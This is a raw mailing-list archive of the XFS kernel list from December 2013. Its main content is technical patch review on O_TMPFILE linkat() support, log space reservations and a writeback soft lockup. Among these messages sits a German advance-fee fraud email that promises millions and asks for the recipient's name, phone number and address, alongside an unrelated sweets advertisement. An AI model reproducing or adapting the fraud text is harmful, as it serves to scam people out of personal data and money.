-0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id F1D108F8049 for ; Fri, 13 Dec 2013 20:36:36 -0800 (PST) X-ASG-Debug-ID: 1386995782-04cb6c537d72ab20001-NocioJ Received: from mailserv4.hitechesolution.com ([66.85.174.61]) by cuda.sgi.com with ESMTP id jRxOwsmJUJ8LY1JM for ; Fri, 13 Dec 2013 20:36:22 -0800 (PST) X-Barracuda-Envelope-From: bounce@ndms.biz X-Barracuda-Apparent-Source-IP: 66.85.174.61 To: xfs@oss.sgi.com Subject: =?UTF-8?B?V2lzaCBUaGlzIE5ldyBZZWFyIGJ5IEdpZnRpbmcgSGVhbHRoeSBTd2VldOKAmXMgT25saW5l?= Message-ID: X-ASG-Orig-Subj: =?UTF-8?B?V2lzaCBUaGlzIE5ldyBZZWFyIGJ5IEdpZnRpbmcgSGVhbHRoeSBTd2VldOKAmXMgT25saW5l?= Date: Sat, 14 Dec 2013 03:36:23 +0000 From: "thepetha.com" Reply-To: info@thepetha.com MIME-Version: 1.0 X-Mailer-LID: 174 List-Unsubscribe: X-Mailer-RecptId: 6681231 X-Mailer-SID: 252 X-Mailer-Sent-By: 13 Content-Type: multipart/alternative; charset="UTF-8"; boundary="b1_ee8281c0628bb3dc08dc320940d4b989" Content-Transfer-Encoding: 8bit X-Barracuda-Connect: UNKNOWN[66.85.174.61] X-Barracuda-Start-Time: 1386995782 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.40 X-Barracuda-Spam-Status: No, SCORE=1.40 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, BSF_SC7_SA015c, HTML_MESSAGE, NORMAL_HTTP_TO_IP, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143083 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.80 BSF_SC7_SA015c Custom Rule SA015c 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 --b1_ee8281c0628bb3dc08dc320940d4b989 Content-Type: text/plain; format=flowed; charset="UTF-8" Content-Transfer-Encoding: 8bit Your email client cannot read this email. To view it online, please go here: http://162.221.179.98/~ndms/display.php?M=6681231&C=994623c2c0a827d183a1e2790fcede56&S=252&L=174&N=180 To stop receiving these emails:http://162.221.179.98/~ndms/unsubscribe.php?M=6681231&C=994623c2c0a827d183a1e2790fcede56&L=174&N=252 --b1_ee8281c0628bb3dc08dc320940d4b989 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: 8bit

    Wish New Year by Gifting Healthy Sweet’s Online


    Gift original Agra Petha Sweet’s to Your 
    Business Partners: Colleges: Friends: Family & Neighbors
    logo small.jpg

    thepetha.com

    thepetha.jpg

    This New Year Gift Original Agra Petha & Agra Dalmoth to Business Partners, Colleges, Associates, Friends, Family & Neighbors as a personalized gift sitting at your place from thepetha.com


    New Year
     is a carnival of lights, crackers and sweets. On New Year there is a custom to exchange sweets to colleges, business partners, associates, friends, family and neighbors that is why New Year can't even be imagined without sweets. It is way of spreading joy and goodwill among both the givers and the receivers of these delights.
     

    Sweets of Petha have rich ingredients, it is healthy and has several medical benefits so its popularly gifted during New Year, this is the ideal time to build relationships with gifts of love. We bring you the original geographical delicacy of Agra petha and Agra Dalmoth online with free shipping in India within 2-5 working days. We bring you the same taste which is there from 1000 years, we are committed to serve you the same taste and quality.

    The Seven important pillars are:

    Fresh Premium Quality Hygiene

    Original Agra Petha & Dalmoth

    Great Price

    Product at your Doorstep: 6000 + Delivery Locations

    Multiple payment options like: Credit Card, Debit Card, Net Banking

    Safe and Secure Transactions

    8am to 8pm Customer Support


    Contact Us:

    Login: thepetha.com


    e-mail:
    contact@thepetha.com


    call us: 09045446337

    Follow on Twitter 

    Friend on Facebook   

    Copyright © 2013 Thepetha.com & Company, All rights reserved. 
    Our mailing address is Thepetha.com & Company, Agra, India
    Corporate Deals
     
    Unsubscribe me from this list
    --b1_ee8281c0628bb3dc08dc320940d4b989-- From david@fromorbit.com Sat Dec 14 02:19:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6E9437F52 for ; Sat, 14 Dec 2013 02:19:52 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 54F3C8F804C for ; Sat, 14 Dec 2013 00:19:52 -0800 (PST) X-ASG-Debug-ID: 1387009189-04cb6c537d7306f0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id lXGpjpbkfpDBPZUr for ; Sat, 14 Dec 2013 00:19:50 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmoQADcUrFJ5LHyk/2dsb2JhbABZgwo4pDADjzSFT4EdF3SCJQEBBScTHCMQCAMVAwklDwUlAyETiAMOyhsXFo0JgW8LB4Q2AQOYFYpMh0mDPig Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 14 Dec 2013 18:49:48 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VrkRs-0006qk-6g; Sat, 14 Dec 2013 19:19:44 +1100 Date: Sat, 14 Dec 2013 19:19:44 +1100 From: Dave Chinner To: Zhi Yong Wu Cc: Christoph Hellwig , "linux-fsdevel@vger.kernel.org" , Zhi Yong Wu , linux-kernel mlist , xfstests Subject: Re: [PATCH 5/5] xfs: allow linkat() on O_TMPFILE files Message-ID: <20131214081944.GR31386@dastard> X-ASG-Orig-Subj: Re: [PATCH 5/5] xfs: allow linkat() on O_TMPFILE files References: <1386944873-16796-1-git-send-email-zwu.kernel@gmail.com> <1386944873-16796-6-git-send-email-zwu.kernel@gmail.com> <20131213164154.GH20803@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1387009190 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143087 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Dec 14, 2013 at 01:36:47AM +0800, Zhi Yong Wu wrote: > On Sat, Dec 14, 2013 at 12:41 AM, Christoph Hellwig wrote: > > On Fri, Dec 13, 2013 at 10:27:53PM +0800, Zhi Yong Wu wrote: > >> From: Zhi Yong Wu > >> > >> Enable O_TMPFILE support in linkat(). > >> For more info, please refer to: > >> http://oss.sgi.com/archives/xfs/2013-08/msg00341.html > > > > Generall you should provide all reasonable information in the changelog > > instead of linking to it. > will apply this, thanks. > > > >> + if (sip->i_d.di_nlink == 0) > >> + tres = &M_RES(mp)->tr_link_tmpfile; > >> + else > >> + tres = &M_RES(mp)->tr_link; > > > > As mentioned before I think Dave wanted you to always use the same > > reservation, but I'll leave that discussion to him. > If as you said, when some tons of regular files are created, it won't > waste some disk space? e.g. some files want to reserve some space, but > get NOSPACE due to other files reserving additional space? This is a log space reservation, not a disk space reservation. End either way, what is unused by the transaction is returned to the free space pool at the end of the transaction. So for simplicity, we should just use the one reservation for the link transaction - take whichever is larger at calculation time. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sat Dec 14 02:21:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 850727F52 for ; Sat, 14 Dec 2013 02:21:10 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5D590304043 for ; Sat, 14 Dec 2013 00:21:10 -0800 (PST) X-ASG-Debug-ID: 1387009263-04bdf00fde033a0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id flrhtoRPsyvj0b86 for ; Sat, 14 Dec 2013 00:21:04 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjcIADcUrFJ5LHyk/2dsb2JhbABZgwq0H4VPgR0XdIIlAQEFOhwzCAMYCSUPBSUDIQESiAPKKRcWjwqENgEDmBWSFYM+KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 14 Dec 2013 18:51:02 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VrkT5-0006qt-PW; Sat, 14 Dec 2013 19:20:59 +1100 Date: Sat, 14 Dec 2013 19:20:59 +1100 From: Dave Chinner To: Dave Jones , Christoph Hellwig , Linux Kernel , xfs@oss.sgi.com Subject: Re: XFS / writeback invoking soft lockup. Message-ID: <20131214082059.GS31386@dastard> X-ASG-Orig-Subj: Re: XFS / writeback invoking soft lockup. References: <20131213071407.GA6527@redhat.com> <20131213104853.GS10988@dastard> <20131213111639.GD23546@infradead.org> <20131213162228.GA29908@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131213162228.GA29908@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1387009264 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143087 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 13, 2013 at 11:22:28AM -0500, Dave Jones wrote: > On Fri, Dec 13, 2013 at 03:16:39AM -0800, Christoph Hellwig wrote: > > On Fri, Dec 13, 2013 at 09:48:53PM +1100, Dave Chinner wrote: > > > All I can say is that there doesn't look to be any obvious signs > > > that this is a XFS or writeback problem fom the stack trace, and > > > without more information or a reproducable test case I'm not going > > > to be able to understand the cause. > > > > > > Is the problem reproducable, or is it just a one-off? > > > > If it's reproducable it would be good to enable the xfs_writepage > > tracepoint and get a trace-cmd log of it. > > I hit it pretty reliably last night. I'll make a note to look into it > on monday with that enabled. You might want to grab the writeback tracepoints as well. Note that you'll probably have to filter by device so you don't get noise from all the other block devices, too. Cheers, Dave. -- Dave Chinner david@fromorbit.com From zwu.kernel@gmail.com Sat Dec 14 03:58:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 38F6B7F52 for ; Sat, 14 Dec 2013 03:58:50 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 239D98F804C for ; Sat, 14 Dec 2013 01:58:50 -0800 (PST) X-ASG-Debug-ID: 1387015125-04cbb041687315c0001-NocioJ Received: from mail-oa0-f43.google.com (mail-oa0-f43.google.com [209.85.219.43]) by cuda.sgi.com with ESMTP id Ndj6I3gwlQaS5Jrd (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 14 Dec 2013 01:58:46 -0800 (PST) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.219.43 X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.43] Received: by mail-oa0-f43.google.com with SMTP id i7so3147465oag.2 for ; Sat, 14 Dec 2013 01:58:45 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.43] X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.43] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=qH1QOhuU8JaNOhFgvmuF6U4bwQ/vOAAzZagxYIqXF+Y=; b=G/fHU4xB5O2eg21/npZLwnN12YDfw6pufhLqdHg8dV2FrYvsgewhQbjH0KKUGIHXVa LLyVQCs6QMvEUFld5Y6P6wIVGhiSj2IRXnEUipT0CO+KkYzCfU+H6y676gYx25ILamxI vSE5r2xdoaddO7EOw3QEYHJMRZHZjbI8+aRsPUN5d/H5qU53URAHPuag3roehqU/acsM SDlvki6EdvoaeYXsgm3X0fk4zpyFmOe4w/GQWpVE24TUaR1/sOmQn4ybe2Y98dXungJu RrD6FJpdgk4iP/KbuMI3VwR+9JDkT9GIvXUrZgJ1X9PQf4JWh+MfF8umfp0LVeVroE7I hvcA== MIME-Version: 1.0 X-Received: by 10.182.126.167 with SMTP id mz7mr383498obb.69.1387015125418; Sat, 14 Dec 2013 01:58:45 -0800 (PST) Received: by 10.182.248.201 with HTTP; Sat, 14 Dec 2013 01:58:45 -0800 (PST) In-Reply-To: <20131214081944.GR31386@dastard> References: <1386944873-16796-1-git-send-email-zwu.kernel@gmail.com> <1386944873-16796-6-git-send-email-zwu.kernel@gmail.com> <20131213164154.GH20803@infradead.org> <20131214081944.GR31386@dastard> Date: Sat, 14 Dec 2013 17:58:45 +0800 Message-ID: Subject: Re: [PATCH 5/5] xfs: allow linkat() on O_TMPFILE files From: Zhi Yong Wu X-ASG-Orig-Subj: Re: [PATCH 5/5] xfs: allow linkat() on O_TMPFILE files To: Dave Chinner , Christoph Hellwig Cc: "linux-fsdevel@vger.kernel.org" , Zhi Yong Wu , linux-kernel mlist , xfstests Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-oa0-f43.google.com[209.85.219.43] X-Barracuda-Start-Time: 1387015126 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143088 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Sat, Dec 14, 2013 at 4:19 PM, Dave Chinner wrote: > On Sat, Dec 14, 2013 at 01:36:47AM +0800, Zhi Yong Wu wrote: >> On Sat, Dec 14, 2013 at 12:41 AM, Christoph Hellwig wrote: >> > On Fri, Dec 13, 2013 at 10:27:53PM +0800, Zhi Yong Wu wrote: >> >> From: Zhi Yong Wu >> >> >> >> Enable O_TMPFILE support in linkat(). >> >> For more info, please refer to: >> >> http://oss.sgi.com/archives/xfs/2013-08/msg00341.html >> > >> > Generall you should provide all reasonable information in the changelog >> > instead of linking to it. >> will apply this, thanks. >> > >> >> + if (sip->i_d.di_nlink == 0) >> >> + tres = &M_RES(mp)->tr_link_tmpfile; >> >> + else >> >> + tres = &M_RES(mp)->tr_link; >> > >> > As mentioned before I think Dave wanted you to always use the same >> > reservation, but I'll leave that discussion to him. >> If as you said, when some tons of regular files are created, it won't >> waste some disk space? e.g. some files want to reserve some space, but >> get NOSPACE due to other files reserving additional space? > > This is a log space reservation, not a disk space reservation. End > either way, what is unused by the transaction is returned to the > free space pool at the end of the transaction. So for simplicity, > we should just use the one reservation for the link transaction - > take whichever is larger at calculation time. Good explaination, thanks Dave and Christoph. By the way, can you help check if the log reservation for adding/removing one inode to/from unlinked list is correct? or will you check after i post next version out? > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com -- Regards, Zhi Yong Wu From zhijun@live.com Sat Dec 14 04:58:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.4 required=5.0 tests=COMPENSATION,FREEMAIL_FROM, FREEMAIL_REPLYTO,LOTS_OF_MONEY,MONEY_FRAUD_3,T_MONEY_PERCENT, UNPARSEABLE_RELAY autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9FF197F52 for ; Sat, 14 Dec 2013 04:58:02 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0BDF7AC03B for ; Sat, 14 Dec 2013 02:57:58 -0800 (PST) X-ASG-Debug-ID: 1387018676-04bdf00fe007040001-w1Z2WR Received: from mail1.bemta5.messagelabs.com (mail1.bemta5.messagelabs.com [195.245.231.146]) by cuda.sgi.com with ESMTP id DxZzFWYWgZmCEiqg for ; Sat, 14 Dec 2013 02:57:57 -0800 (PST) X-Barracuda-Envelope-From: zhijun@live.com X-Barracuda-Apparent-Source-IP: 195.245.231.146 Received: from [85.158.139.51:7680] by server-10.bemta-5.messagelabs.com id 26/F3-01405-3B93CA25; Sat, 14 Dec 2013 10:57:55 +0000 X-Env-Sender: zhijun@live.com X-Msg-Ref: server-2.tower-180.messagelabs.com!1387018675!24126946!1 X-Originating-IP: [81.138.121.125] X-StarScan-Received: X-StarScan-Version: 6.9.16; banners=-,-,- X-VirusChecked: Checked Received: (qmail 9893 invoked from network); 14 Dec 2013 10:57:55 -0000 Received: from matrix.uk.com (HELO mail.matrix.uk.com) (81.138.121.125) by server-2.tower-180.messagelabs.com with SMTP; 14 Dec 2013 10:57:55 -0000 Received: from [10.16.164.189] ([188.189.53.68]) by mail.matrix.uk.com with Microsoft SMTPSVC(6.0.3790.4675); Sat, 14 Dec 2013 10:59:38 +0000 Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Subject: Guten Tag To: Recipients X-ASG-Orig-Subj: Guten Tag From: "Mr. SUN Zhijun" Date: Sat, 14 Dec 2013 11:57:29 +0100 Reply-To: s_zhijun001@qq.com Message-ID: X-OriginalArrivalTime: 14 Dec 2013 10:59:39.0052 (UTC) FILETIME=[95774EC0:01CEF8BB] X-Barracuda-Connect: mail1.bemta5.messagelabs.com[195.245.231.146] X-Barracuda-Start-Time: 1387018676 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.50 X-Barracuda-Spam-Status: No, SCORE=1.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_ADDR_MATCH, BSF_SC3_MV0132_3, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143089 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines 1.00 BSF_SC3_MV0132_3 Custom rule MV0132_3 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address Guten Tag, Mein Name ist Mr.SUN Zhijun, ich mit der Bank of China zu arbeiten. Ich bra= uche Ihre Unterst=FCtzung in Durchf=FChrung einer Transaktion bei $ 18,5 Mi= llionen Dollar gesch=E4tzt, m=F6chte ich Ihnen 30% der gesamten Mittel als = Ausgleich f=FCr Ihre Unterst=FCtzung in dieser Transaktion. Ich werde Sie = =FCber die vollst=E4ndige Transaktion benachrichtigt nach Eingang Ihrer Ant= wort, wenn interessiert, bitte senden Sie mir Ihren vollst=E4ndigen detials= als unten, um meine E-Mail aufgef=FChrt: s_zhijun001@qq.com 1. Vollst=E4ndiger Name 2.Private Telefonnummer 3.Current Wohnadresse Mit freundlichen Gr=FC=DFen, Mr.SUN Zhijun From jeff.liu@oracle.com Sat Dec 14 05:20:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9C7347F52 for ; Sat, 14 Dec 2013 05:20:55 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 87743304039 for ; Sat, 14 Dec 2013 03:20:52 -0800 (PST) X-ASG-Debug-ID: 1387020051-04cbb041677332b0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id L85MHRoESlQMT6As (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 14 Dec 2013 03:20:51 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBEBKOOI027427 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 14 Dec 2013 11:20:24 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBEBKNDS006796 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 14 Dec 2013 11:20:23 GMT Received: from abhmp0003.oracle.com (abhmp0003.oracle.com [141.146.116.9]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBEBKNft006790; Sat, 14 Dec 2013 11:20:23 GMT Received: from [192.168.1.105] (/114.248.204.137) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Sat, 14 Dec 2013 03:20:23 -0800 Message-ID: <52AC3EF1.6090106@oracle.com> Date: Sat, 14 Dec 2013 19:20:17 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Christoph Hellwig , Zhi Yong Wu CC: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, Zhi Yong Wu , linux-kernel@vger.kernel.org Subject: Re: [PATCH 1/5] xfs: factor prid related codes into xfs_get_initial_prid() References: <1386944873-16796-1-git-send-email-zwu.kernel@gmail.com> <1386944873-16796-2-git-send-email-zwu.kernel@gmail.com> <20131213163211.GD20803@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 1/5] xfs: factor prid related codes into xfs_get_initial_prid() In-Reply-To: <20131213163211.GD20803@infradead.org> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1387020051 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143090 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/14 2013 00:32 AM, Christoph Hellwig wrote: >> +static inline prid_t xfs_get_initial_prid(struct xfs_inode *dp) >> +{ >> + if (dp->i_d.di_flags & XFS_DIFLAG_PROJINHERIT) >> + return xfs_get_projid(dp); >> + else >> + return XFS_PROJID_DEFAULT; >> +} > > You could skip the else here. Except that, I'd suggest we move this helper to proper header file with further refactoring in xfs_symlink(), and it could be a separate patch. Thanks, -Jeff From zwu.kernel@gmail.com Sat Dec 14 05:44:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id AABF67F52 for ; Sat, 14 Dec 2013 05:44:04 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 86DB18F8050 for ; Sat, 14 Dec 2013 03:44:01 -0800 (PST) X-ASG-Debug-ID: 1387021440-04cbb04168733b30001-NocioJ Received: from mail-ob0-f174.google.com (mail-ob0-f174.google.com [209.85.214.174]) by cuda.sgi.com with ESMTP id nmruq4BsVAVjg6bo (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 14 Dec 2013 03:44:00 -0800 (PST) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.174 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.174] Received: by mail-ob0-f174.google.com with SMTP id wn1so3038688obc.5 for ; Sat, 14 Dec 2013 03:43:59 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.174] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.174] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=if6LPhc4cVJLuu3b2Q2pB++zZBlqVgbn6iWxOyHF7Y4=; b=ElA4bGLtj07n1gO9xBWb+tUUEOWyL/IOVXVs4b8JyES06BfHT9dLcyYrQGpkzqL/26 58cNCFI4bjbZlNr4Vg5uEyrnlgsv6h+FRVxWF2kzlMAKHiLNPY8b3QJIBaZzvBWQ6b+S vdg8WXk7rtY5S8F+/sqcRvVHJ4xfkiFtYJdaxW9jNy9u4Q9rgt3zzrtE7oKz6gzCxqUM cgX+j5HYkmRJISGs6vvMQa2qkB0sbBfpQRDdjBPlzIe7HHcJC9hiOqPzCwwFZM776cVq U+lcPbmg5TTQIKeuYqwAjANY2kIrwhNpSPh0K4MMeLhhfS8BvgsFIFjtf9j425BCE1q9 Qk9A== MIME-Version: 1.0 X-Received: by 10.60.165.36 with SMTP id yv4mr4843920oeb.55.1387021439838; Sat, 14 Dec 2013 03:43:59 -0800 (PST) Received: by 10.182.248.201 with HTTP; Sat, 14 Dec 2013 03:43:59 -0800 (PST) In-Reply-To: <52AC3EF1.6090106@oracle.com> References: <1386944873-16796-1-git-send-email-zwu.kernel@gmail.com> <1386944873-16796-2-git-send-email-zwu.kernel@gmail.com> <20131213163211.GD20803@infradead.org> <52AC3EF1.6090106@oracle.com> Date: Sat, 14 Dec 2013 19:43:59 +0800 Message-ID: Subject: Re: [PATCH 1/5] xfs: factor prid related codes into xfs_get_initial_prid() From: Zhi Yong Wu X-ASG-Orig-Subj: Re: [PATCH 1/5] xfs: factor prid related codes into xfs_get_initial_prid() To: Jeff Liu Cc: Christoph Hellwig , xfstests , "linux-fsdevel@vger.kernel.org" , Zhi Yong Wu , linux-kernel mlist Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-ob0-f174.google.com[209.85.214.174] 